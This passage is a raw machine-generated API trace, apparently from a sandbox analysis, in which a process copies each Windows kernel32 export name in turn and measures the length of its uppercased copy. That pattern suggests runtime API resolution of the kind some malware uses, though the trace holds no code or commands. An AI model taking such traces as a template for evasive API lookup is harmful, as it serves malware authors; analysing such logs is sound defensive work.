(lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0129.588] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0129.588] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0129.588] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0129.588] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0129.588] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0129.588] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0129.588] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0129.588] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0129.588] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0129.588] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0129.588] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0129.588] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0129.588] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0129.588] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0129.588] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0129.588] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0129.588] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0129.588] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0129.589] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0129.589] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0129.589] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0129.589] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0129.589] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0129.589] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0129.589] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0129.589] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0129.589] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0129.589] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0129.589] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0129.589] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0129.589] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0129.589] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0129.589] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0129.589] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0129.589] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0129.589] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0129.589] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0129.589] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0129.589] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0129.589] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0129.589] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0129.589] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0129.589] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0129.589] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0129.589] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0129.589] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0129.589] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0129.589] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0129.589] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0129.589] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0129.589] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0129.589] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0129.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0129.590] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0129.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0129.590] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0129.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0129.590] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0129.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0129.590] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0129.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0129.590] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0129.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0129.590] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0129.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0129.590] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0129.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0129.590] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0129.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0129.590] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0129.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0129.590] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0129.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0129.590] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0129.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0129.590] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0129.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0129.590] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0129.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0129.590] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0129.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0129.590] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0129.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0129.590] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0129.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0129.590] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0129.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0129.590] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0129.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0129.590] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0129.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0129.590] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0129.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0129.591] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0129.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0129.591] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0129.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0129.591] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0129.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0129.591] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0129.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0129.591] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0129.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0129.591] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0129.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0129.591] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0129.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0129.591] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0129.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0129.591] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0129.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0129.591] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0129.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0129.591] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0129.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0129.591] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0129.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0129.591] lstrlenA (lpString="BEEP") returned 4 [0129.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0129.591] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0129.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0129.591] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0129.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0129.591] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0129.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0129.591] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0129.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0129.591] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0129.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0129.591] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0129.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0129.591] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0129.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0129.591] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0129.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0129.591] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0129.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0129.592] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0129.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0129.592] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0129.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0129.592] lstrlenA (lpString="CANCELIO") returned 8 [0129.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0129.592] lstrlenA (lpString="CANCELIOEX") returned 10 [0129.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0129.592] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0129.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0129.592] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0129.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0129.592] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0129.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0129.592] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0129.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0129.592] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0129.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0129.592] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0129.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0129.592] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0129.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0129.592] lstrlenA (lpString="CHECKELEVATION") returned 14 [0129.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0129.592] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0129.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0129.592] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0129.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0129.592] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0129.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0129.592] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0129.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0129.592] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0129.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0129.592] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0129.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0129.592] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0129.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0129.592] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0129.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0129.592] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0129.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0129.593] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0129.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0129.593] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0129.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0129.593] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0129.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0129.593] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0129.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0129.593] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0129.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0129.593] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0129.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0129.593] lstrlenA (lpString="CLOSESTATE") returned 10 [0129.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0129.593] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0129.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0129.593] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0129.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0129.593] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0129.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0129.593] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0129.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0129.593] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0129.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0129.593] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0129.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0129.593] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0129.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0129.593] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0129.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0129.593] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0129.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0129.593] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0129.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0129.593] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0129.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0129.593] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0129.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0129.593] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0129.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0129.593] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0129.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0129.594] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0129.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0129.594] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0129.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0129.594] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0129.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0129.594] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0129.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0129.594] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0129.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0129.594] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0129.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0129.594] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0129.594] 